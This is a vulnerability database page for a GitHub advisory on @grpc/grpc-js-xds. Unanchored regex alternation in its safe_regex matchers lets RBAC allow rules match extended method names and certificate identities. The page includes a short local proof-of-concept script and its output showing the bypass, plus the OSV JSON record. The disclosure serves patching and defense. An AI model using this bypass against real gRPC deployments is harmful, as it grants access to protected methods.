GHSA-R7HQ-Q2XM-6C5M
Vulnerability from github – Published: 2026-11-12 23:21 – Updated: 2026-11-12 23:21Summary
The StringMatcher/PathMatcher for safe_regex builds its RE2 as ^${regex}$ with no surrounding group. Because alternation has the lowest precedence, a pattern "a|b|c" compiles to /^a|b|c$/ -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with safe_regex matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.
Details
src/matcher.ts: SafeRegexValueMatcher and PathSafeRegexValueMatcher both do
this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');
and apply() returns targetRegexImpl.test(value). With a top-level alternation the anchors bind only to the first/last branch.
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232
src/route.ts (getPredicateForStringMatcher / getPredicateForHeaderMatcher) builds these for every safe_regex StringMatcher/HeaderMatcher, and src/rbac.ts uses them for RBAC url_path permissions/principals, authenticated.principal_name (mTLS SAN/CN), requested_server_name and header rules. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47
Proof of concept
In a scratch directory:
npm init -y
npm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js
node poc.cjs
poc.cjs calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:
const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')
const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')
const { Metadata } = require('@grpc/grpc-js')
console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)
const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })
const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,
destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })
const g = parseConfig({ action: 'ALLOW', policies: { p: {
permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],
principals: [{ identifier: 'any', any: true }] } } })
console.log('GetUser ', g.apply(info('/acme.Users/GetUser'))) // true (intended)
console.log('DeleteUser ', g.apply(info('/acme.Users/DeleteUser'))) // false (control)
console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS
Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):
matcher "admin|editor" -> SafeRegex(/^admin|editor$/u);
apply("administrator")=true, apply("not-an-editor")=true
ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:
/acme.Users/GetUser -> ALLOWED (intended)
/acme.Users/DeleteUser -> denied (control)
/acme.Users/GetUserSecrets -> ALLOWED <-- bypass (policy intends deny)
control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied
ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:
spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass
Impact
Users of @grpc/grpc-js-xds who are using safe_regex matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@grpc/grpc-js-xds"
},
"ranges": [
{
"events": [
{
"introduced": "1.14.0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@grpc/grpc-js-xds"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-126367"
],
"database_specific": {
"cwe_ids": [
"CWE-625",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-12T23:21:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe StringMatcher/PathMatcher for `safe_regex` builds its RE2 as `^${regex}$` with no surrounding group. Because alternation has the lowest precedence, a pattern `\"a|b|c\"` compiles to `/^a|b|c$/` -- \"starts with a\" OR \"contains b\" OR \"ends with c\" instead of a full match of the whole value. Configurations with `safe_regex` matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.\n\n### Details\n\n`src/matcher.ts`: `SafeRegexValueMatcher` and `PathSafeRegexValueMatcher` both do\n```ts\nthis.targetRegexImpl = new RE2(`^${targetRegex}$`, \u0027u\u0027);\n```\n\nand `apply()` returns `targetRegexImpl.test(value)`. With a top-level alternation the anchors bind only to the first/last branch.\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232\n\n`src/route.ts` (`getPredicateForStringMatcher` / `getPredicateForHeaderMatcher`) builds these for every `safe_regex` `StringMatcher`/`HeaderMatcher`, and src/rbac.ts uses them for RBAC `url_path` `permissions`/`principals`, `authenticated.principal_name` (mTLS SAN/CN), `requested_server_name` and `header rules`. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47\n\n### Proof of concept\n\nIn a scratch directory:\n\n```\nnpm init -y\nnpm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js\nnode poc.cjs\n```\n\n`poc.cjs` calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:\n\n```js\nconst { parseConfig } = require(\u0027@grpc/grpc-js-xds/build/src/rbac.js\u0027)\nconst { SafeRegexValueMatcher } = require(\u0027@grpc/grpc-js-xds/build/src/matcher.js\u0027)\nconst { Metadata } = require(\u0027@grpc/grpc-js\u0027)\n\nconsole.log(new SafeRegexValueMatcher(\u0027admin|editor\u0027).toString()) // SafeRegex(/^admin|editor$/u)\n\nconst sr = regex =\u003e ({ match_pattern: \u0027safe_regex\u0027, safe_regex: { regex } })\nconst info = urlPath =\u003e ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,\n destinationIp: \u002710.0.0.1\u0027, destinationPort: 443, sourceIp: \u002710.0.0.2\u0027 })\nconst g = parseConfig({ action: \u0027ALLOW\u0027, policies: { p: {\n permissions: [{ rule: \u0027url_path\u0027, url_path: { path: sr(\u0027/acme.Users/GetUser|/acme.Users/ListUsers\u0027) } }],\n principals: [{ identifier: \u0027any\u0027, any: true }] } } })\n\nconsole.log(\u0027GetUser \u0027, g.apply(info(\u0027/acme.Users/GetUser\u0027))) // true (intended)\nconsole.log(\u0027DeleteUser \u0027, g.apply(info(\u0027/acme.Users/DeleteUser\u0027))) // false (control)\nconsole.log(\u0027GetUserSecrets\u0027, g.apply(info(\u0027/acme.Users/GetUserSecrets\u0027))) // true \u003c-- BYPASS\n```\n\nObserved (grpc-js-xds 1.14.1, grpc-js 1.14.6):\n\n```\nmatcher \"admin|editor\" -\u003e SafeRegex(/^admin|editor$/u);\n apply(\"administrator\")=true, apply(\"not-an-editor\")=true\nALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:\n /acme.Users/GetUser -\u003e ALLOWED (intended)\n /acme.Users/DeleteUser -\u003e denied (control)\n /acme.Users/GetUserSecrets -\u003e ALLOWED \u003c-- bypass (policy intends deny)\ncontrol, same regex as (?:...|...): /acme.Users/GetUserSecrets -\u003e denied\nALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:\n spiffe://prod/ns/web/sa/frontend-batch -\u003e ALLOWED \u003c-- bypass\n```\n\n### Impact\n\nUsers of `@grpc/grpc-js-xds` who are using `safe_regex` matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.",
"id": "GHSA-r7hq-q2xm-6c5m",
"modified": "2026-11-12T23:21:57Z",
"published": "2026-11-12T23:21:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-node/security/advisories/GHSA-r7hq-q2xm-6c5m"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-node/commit/3fc3b0ebf7a89d64843a73679951142d33b40cb1"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-node/commit/57a67e96babcb29b6eabc1833221ccf2fa152d43"
},
{
"type": "PACKAGE",
"url": "https://github.com/grpc/grpc-node"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.13.2"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.